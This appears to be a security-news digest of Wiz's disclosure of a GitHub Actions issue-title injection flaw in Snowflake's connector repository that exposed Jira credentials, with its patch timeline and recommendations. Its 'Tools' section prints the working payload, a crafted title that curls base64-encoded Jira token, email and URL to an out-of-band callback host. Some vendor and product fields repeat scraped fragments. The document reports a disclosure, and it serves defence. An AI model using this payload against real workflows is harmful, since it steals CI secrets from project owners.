Wiz Exploits GitHub Actions Injection Flaw to Access Snowflake’s Jira
Summary
Wiz found that an issue title could inject shell commands into a Snowflake GitHub Actions workflow and expose Jira credentials. Snowflake patched the workflow and rotated the token the same day; its audit found no third-party access.
Key points
- A vulnerable workflow in Snowflake’s public snowflake-connector-net repository interpolated untrusted GitHub issue titles directly into a shell command.
- Opening an issue could trigger the workflow; a condition referencing pull-request data was ineffective for issue events.
- Wiz used the injection to execute commands on a GitHub Actions runner and retrieve Jira credentials.
- The token provided read access to Snowflake engineering, security compliance, and bug bounty projects.
- The vulnerable change was merged on June 18, 2026; Wiz disclosed it through Snowflake’s HackerOne program on June 23.
- Snowflake patched the workflow and rotated the credential. Its audit found no third-party access during the exposure window, and Wiz said it deleted data accessed during testing.
Article Details
- Attack Vectors
- A GitHub Actions workflow in snowflakedb/snowflake-connector-net interpolated an attacker-controlled GitHub issue title directly into a shell script. Opening an issue triggered the workflow, and a crafted title broke out of the quoted string to execute arbitrary commands on the runner.
- The proof of concept used curl to send base64-encoded Jira credentials to an out-of-band callback.
- Defensive Notes
- Snowflake patched the workflow on June 23, 2026, restoring the safe environment-variable and jq --arg parsing pattern.
- Snowflake revoked and rotated the affected Jira token; the article reports the token was rotated on June 24, 2026.
- Audit-log analysis found no external third-party access during the exposure window; anomalous queries matched Wiz's testing IPs.
- The article recommends applying rigorous security review to AI-assisted code changes, enforcing safe input-handling patterns, and using rapid patch cycles and short-lived credentials.
MITRE ATT&CK
Vendors
GitHubWiz Research’s "Red Agent"—an autonomous, AI-powered security research tool—identified a critical GitHub Actions workflow vulnerability in one of Snowflake’s public repositories.SnowflakeAs part of ongoing security research conducted through Snowflake’s HackerOne vulnerability disclosure program, Wiz Research’s "Red Agent"—an autonomous, AI-powered security research tool—identified a critical GitHubWizof ongoing security research conducted through Snowflake’s HackerOne vulnerability disclosure program, Wiz Research’s "Red Agent"—an autonomous, AI-powered security research tool—identified a critical GitHub
Products
GitHub ActionsWiz Research’s "Red Agent"—an autonomous, AI-powered security research tool—identified a critical GitHub Actions workflow vulnerability in one of Snowflake’s public repositories.GitHub Advanced SecurityGitHub Advanced Security scan analyzed the final PR revision, including the vulnerable workflow, but did not flag the critical injection.SnowflakeAs part of ongoing security research conducted through Snowflake’s HackerOne vulnerability disclosure program, Wiz Research’s "Red Agent"—an autonomous, AI-powered security research tool—identified a critical GitHub
Tools
curl' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo 'jq- run: jq -n --arg title "$ISSUE_TITLE" ...Wiz Red AgentWiz Red Agent identified a script injection vulnerability in snowflakedb/snowflake-connector-net. The issue allowed an unauthenticated user to execute arbitrary commands within a GitHub Actions runner by opening a